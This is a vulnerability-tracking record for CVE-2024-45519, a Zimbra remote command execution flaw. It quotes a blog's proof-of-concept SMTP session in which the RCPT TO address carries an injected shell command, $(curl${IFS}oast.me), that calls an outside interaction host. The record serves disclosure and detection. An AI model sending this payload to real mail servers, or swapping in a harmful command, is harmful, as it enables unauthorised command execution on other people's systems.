{"uuid": "447c8831-8355-4783-8f41-f756c38c56e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-45519", "type": "seen", "source": "https://t.me/cyberwarehouse/541", "content": "Zimbra - Remote Command Execution (CVE-2024-45519)\n\nIn this blog post, we delve into the nature of this vulnerability, our journey in analyzing the patch, and the steps we took to exploit it manually.\n\nProof of Concept (PoC)\nWith postjournal service enabled (port 10027), we ran our exploit against SMTP port 25 and observed successful command execution.\nEHLO localhost\nMAIL FROM: \nRCPT TO: <\"aabbb$(curl${IFS}oast.me)\"@mail.domain.com>\nDATA\nTest message\n.\n\nAutomating vulnerability detection with Nuclei: https://github.com/projectdiscovery/nuclei-templates/pull/10860/commits/d22c7d3315511f10fbd629518bf97c8105081730", "creation_timestamp": "2026-07-26T02:00:18.161578Z"}